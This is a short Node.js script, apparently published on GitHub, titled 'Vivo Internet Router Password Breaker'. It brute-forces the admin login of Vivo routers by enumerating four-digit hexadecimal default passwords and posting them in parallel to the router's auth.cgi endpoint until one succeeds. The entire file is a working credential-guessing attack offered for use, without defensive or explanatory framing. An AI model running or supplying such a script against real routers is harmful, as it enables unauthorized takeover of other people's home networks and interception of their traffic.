Vivo Internet Router Password Breaker

index.js

/*
	Vivo Routers use as default, a 4 digit Hexadecimal password (like 'A8DB', '123F'...)

	This is a simple script to try lots of them, and find out the right one.

	Developed by ivanseidel, github.com/ivanseidel
*/

var request = require('request');
var async = require('async');

var ip = '192.168.1.1';
var url = 'http://192.168.1.1/cgi-bin/auth.cgi';

var headers = {};

function testKey(val, next){
	console.log('Testing '+val);
	request.post({
		url: url,
		headers: headers,
		json: {"username":"admin","password":val,"action":"login"}
	}, function (err, resp, body) {
		// console.log(err);
		// console.log(resp);
		console.log(val, body.RETURN && body.RETURN.success, body);
		next(body.RETURN && (body.RETURN.success == 'true' || !!body.RETURN.success));
	});
}

var chars = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'];
var keys = [];
// Try all requests
for(var a = 6; a < 16; a ++)
	for(var b = (a == 6 ? 6 : 0); b < 16; b ++)
		for(var c = (a == 6 ? 6 : 0); c < 16; c ++)
			for(var d = (a == 6 ? 0 : 0); d < 16; d ++)
				keys.push(chars[a]+chars[b]+chars[c]+chars[d]);

console.log('exec.');
async.eachLimit(keys, 50, testKey, console.log);
console.log('exec...');